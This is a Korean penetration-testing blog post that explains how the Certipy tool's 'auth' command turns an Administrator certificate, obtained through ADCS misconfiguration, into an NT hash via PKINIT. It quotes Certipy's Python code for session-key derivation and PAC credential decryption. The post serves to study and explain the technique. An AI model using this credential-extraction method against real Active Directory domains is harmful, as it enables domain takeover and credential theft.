상세 컨텐츠

본문 제목

[Active Directory] Dump NT Hash through exploit ADCS misconfiguration

Penetration

by obscurity_ 2024. 11. 13. 20:49

본문

ADCS의 Misconfiguration을 이용한 도메인 권한 탈취 방법론들은

모두 최종적으로 도메인 Administrator의 pfx 파일을 획득한 뒤

이를 통해 NT Hash를 출력하는 방법입니다.

우리가 아는 커버로스 인증은 본인의 NT Hash가 요구되는데

어떻게 pfx 파일만 가지고 커버로스를 사용하는지 싶지만

커버로스에서는 패스워드 뿐 아니라 공개키 기반의 인증도 가능합니다.

PKINIT(Public Key Cryptography for Initial Anthentication in Kerberos)

근데 획득한 TGT로부터 NT Hash 덤핑이 가능한데,

이 과정이 어떻게 가능한 것인지에 대한 자료는 찾아보기 힘들었습니다.

TGT로부터 NT Hash 덤핑이 가능하다면 AS-REP-Roasting 공격도

해쉬 크래킹이 아닌 덤핑을 사용할텐데 말이죠

그래서 직접 레퍼런스를 참조하며 certipy-ad auth에서는

어떤식으로 NT Hash를 가져오는지 분석해봤습니다.

소스코드는 아래 링크에서 가져왔습니다.

https://raw.githubusercontent.com/ly4k/Certipy/refs/heads/main/certipy/commands/auth.py

1. AS-REQ & AS-REP

def kerberos_authentication(
    self,
    username: str = None,
    domain: str = None,
    is_key_credential: bool = False,
    id_type: str = None,
    identification: str = None,
    object_sid: str = None,
    upn: str = None,
) -> Union[str, bool]:
    as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
    logging.info("Trying to get TGT...")
    tgt = sendReceive(as_req, domain, self.target.target_ip)
    logging.info("Got TGT")
    as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

certipy-ad auth에서는 입력된 정보들을 토대로 KDC로 전송할 AS-REQ를 생성합니다.

 
 

2. Exchange Public Key

ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]

auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int(
    "".join(["1"] + [str(x) for x in auth_data["subjectPublicKey"]]), 2
)
pub_key = int.from_bytes(
    core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
    "big",
    signed=False,
)
shared_key = diffie.exchange(pub_key)

 

수신된 REP로부터 디피헬만 알고리즘으로 서명된 데이터 필드를 가져옵니다.

해당 데이터의 내용에서 encap_content_info는 공개키에 관련된 정보가 있습니다.

파싱한 공개키를 정수 형태로 변환합니다.

공개키를 가지고 서버와 키 교환을 통해 비밀키를 계산할 수 있습니다.

 

3. Dump Secret Key

server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce

etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
    t_key = truncate_key(full_key, 32)
elif etype == Enctype.AES128:
    t_key = truncate_key(full_key, 16)
else:
    logging.error("Unexpected encryption type in AS_REP")
    return False

key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]

cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))

 

서버 응답으로부터 넌스값을 가져오고 본인의 넌스값을 통해 full_key를 생성합니다.

AS_REP을 통해 암호화 알고리즘을 파악하고 각 알고리즘에 맞게 키 바이트 단위를 지정합니다.

Kerberos 인증에서 TGT를 발급할 때, TGT의 정보에는 세션키가 들어있고

TGT는 비밀키로 암호화가 되어 있습니다.

디피 헬만 알고리즘에서 비밀키는 서로 키 교환을 했을 때 쉽게 획득할 수 있으므로

이 과정에서 TGT를 복호화 할 수 있고, TGT에 존재하는 세션키를 획득할 수 있습니다.

 

4. Get NT Hash

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a

TGS 정보 속에 포함되는 PAC의 구조 속에는 PAC_CREDENTIAL_INFO 안에

NTLM_SUPPLEMENTAL_CREDENTIAL 이라는 데이터로 NT Hash에 대한 정보가 있습니다.

그래서 수신된 데이터로부터 먼저 PAC_CREDENTIAL_INFO 정보를 파싱합니다.

cred_info = PAC_CREDENTIAL_INFO(data)

 

cerd_info에는 파싱한 데이터가 담겨있는데,

PAC_CREDENTIAL_INFO 데이터의 구조체는 다음과 같이 구성되어 있습니다.

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/cc919d0c-f2eb-4f21-b487-080c486d85fe

암호화 알고리즘을 알아내기 위하여 EncryptionType와

암호화된 Credential 정보를 직렬화한 데이터인 SerializedData를 파싱합니다.

new_cipher = _enctype_table[cred_info["EncryptionType"]]
out = new_cipher.decrypt(special_key, 16, cred_info["SerializedData"])
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)

 

구조체로 변환한 데이터는 PAC_CREDENTIAL_DATA 정보로

이 데이터 구조체 안에는 사용자의 자격증명 정보를 Credentials로 저장합니다.

변수로 저장한 pcc로부터 NT Hash 정보를 추출할 수 있습니다.

for cred in pcc["Credentials"]:
    cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
    if any(cred_structs["LmPassword"]):
        lm_hash = cred_structs["LmPassword"].hex()
    nt_hash = cred_structs["NtPassword"].hex()
    break
break

'Penetration' 카테고리의 다른 글

[Active Directory] AS-Requested Service Ticket  (0) 2024.11.15
Pentesting Wiki 개설  (0) 2024.11.08
[Active Directory] Server Operators  (0) 2024.11.07
[Active Directory] AD Users & Computers  (2) 2024.11.05
[Active Directory] Golden-Ticket  (0) 2024.11.03

관련글 더보기